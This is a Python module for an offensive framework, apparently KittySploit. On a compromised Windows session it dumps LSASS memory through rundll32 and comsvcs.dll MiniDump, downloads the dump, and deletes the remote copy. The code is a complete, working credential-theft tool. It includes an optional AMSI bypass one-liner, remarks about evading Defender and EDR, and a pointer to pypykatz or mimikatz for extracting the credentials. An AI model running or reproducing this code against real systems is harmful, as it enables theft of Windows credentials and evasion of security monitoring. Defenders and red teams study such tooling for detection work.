Windows LSASS Dump (comsvcs)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Dump LSASS via comsvcs.dll MiniDump (rundll32) — stealthier than direct
MiniDumpWriteDump from PowerShell on many Defender configs.
"""
from kittysploit import *
import os
import re
import time
from lib.post.windows.session import KS_FILE_MARKER, WindowsSessionMixin
_AMSI_INIT_FAILED = (
"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')"
".GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"
)
class Module(Post, WindowsSessionMixin):
_AUTO_CLEANUP = True
_LOCAL_OUT = "output"
__info__ = {
"name": "Windows LSASS Dump (comsvcs)",
"description": (
"Dump LSASS using comsvcs.dll MiniDump via rundll32, then download "
"the minidump through the session."
),
"author": "KittySploit Team",
"platform": Platform.WINDOWS,
"session_type": [SessionType.METERPRETER, SessionType.SHELL],
"references": [
"https://attack.mitre.org/techniques/T1003/001/",
],
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation"],
"expected_requests": 4,
"reversible": False,
"approval_required": True,
"produces": ["risk_signals"],
"cost": 1.5,
"noise": 0.7,
"value": 1.1,
"requires": {"capabilities_any": ["shell"], "capabilities_all": []},
"chain": {"consumes_capabilities": ["shell"], "produces_capabilities": []},
},
}
out_dir = OptString("", "Remote directory for dump (default: %TEMP%)", False)
chunk_kb = OptInteger(512, "Chunk size in kilobytes for session reads", False)
bypass_amsi = OptBool(False, "Attempt AMSI bypass before dump", False)
def _dump_lsass_comsvcs(self, output_dir: str) -> str:
dir_q = self.win_ps_single_quote(output_dir.rstrip("\\"))
script = f"""
$ErrorActionPreference = 'Stop'
$outDir = '{dir_q}'
if (-not (Test-Path -LiteralPath $outDir)) {{
New-Item -ItemType Directory -Path $outDir -Force | Out-Null
}}
$lsassPid = (Get-Process lsass -ErrorAction Stop).Id
$dump = Join-Path $outDir "lsass_comsvcs_$lsassPid.dmp"
$comsvcs = Join-Path $env:WINDIR 'System32\\comsvcs.dll'
if (-not (Test-Path -LiteralPath $comsvcs)) {{ throw 'comsvcs.dll missing' }}
Write-Output ('{KS_FILE_MARKER}' + $dump)
"""
meta = self.win_run_powershell(script, timeout=20)
remote_path = self.win_parse_file_marker(meta)
if not remote_path:
print_debug(meta)
return ""
match = re.search(r"lsass_comsvcs_(\d+)\.dmp", remote_path)
pid = match.group(1) if match else ""
if not pid:
return ""
comsvcs = r"C:\Windows\System32\comsvcs.dll"
self.win_execute(
f'rundll32.exe "{comsvcs}", MiniDump {pid} "{remote_path}" full',
timeout=30,
)
if self.win_remote_file_size(remote_path) > 0:
return remote_path
return ""
def check(self):
if not self.win_require_windows():
return False
if not self.win_require_powershell():
return False
if not self.win_is_admin():
print_error("Administrator privileges are required.")
return False
lsass = self.win_run_powershell(
"if (Get-Process -Name lsass -ErrorAction SilentlyContinue) { '1' } else { '0' }",
timeout=8,
)
if "1" not in lsass:
print_error("LSASS process not found.")
return False
print_warning("LSASS dumping is likely to trigger EDR — prefer comsvcs over direct PS dump.")
return True
def run(self):
if not self.check():
raise ProcedureError(FailureType.NotAccess, "comsvcs LSASS dump prerequisites not met")
if self.bypass_amsi:
self.win_run_powershell(_AMSI_INIT_FAILED, timeout=10)
temp_dir = self.win_remote_temp_dir()
stamp = time.strftime("%Y%m%d_%H%M%S")
local_dir = os.path.join(self._LOCAL_OUT, f"lsass_comsvcs_{stamp}")
os.makedirs(local_dir, exist_ok=True)
print_status("Dumping LSASS via comsvcs.dll...")
remote_path = self._dump_lsass_comsvcs(temp_dir)
if not remote_path:
raise ProcedureError(FailureType.Unknown, "comsvcs dump did not return a file path")
base = os.path.basename(remote_path.replace("\\", "/")) or "lsass.dmp"
local_path = os.path.join(local_dir, base)
if not self.win_pull_file_via_session(
remote_path,
local_path,
chunk_kb=int(self.chunk_kb or 512),
):
if self._AUTO_CLEANUP:
self.win_execute(f'del /f /q "{remote_path}"', timeout=8)
raise ProcedureError(FailureType.Unknown, f"Failed to download {remote_path}")
if self._AUTO_CLEANUP:
self.win_execute(f'del /f /q "{remote_path}"', timeout=8)
rel = os.path.join(".", local_path)
print_success(f"LSASS dump saved: {rel} ({os.path.getsize(local_path)} bytes)")
print_info("Offline: pypykatz lsa minidump <dump> or mimikatz sekurlsa::minidump")
return True
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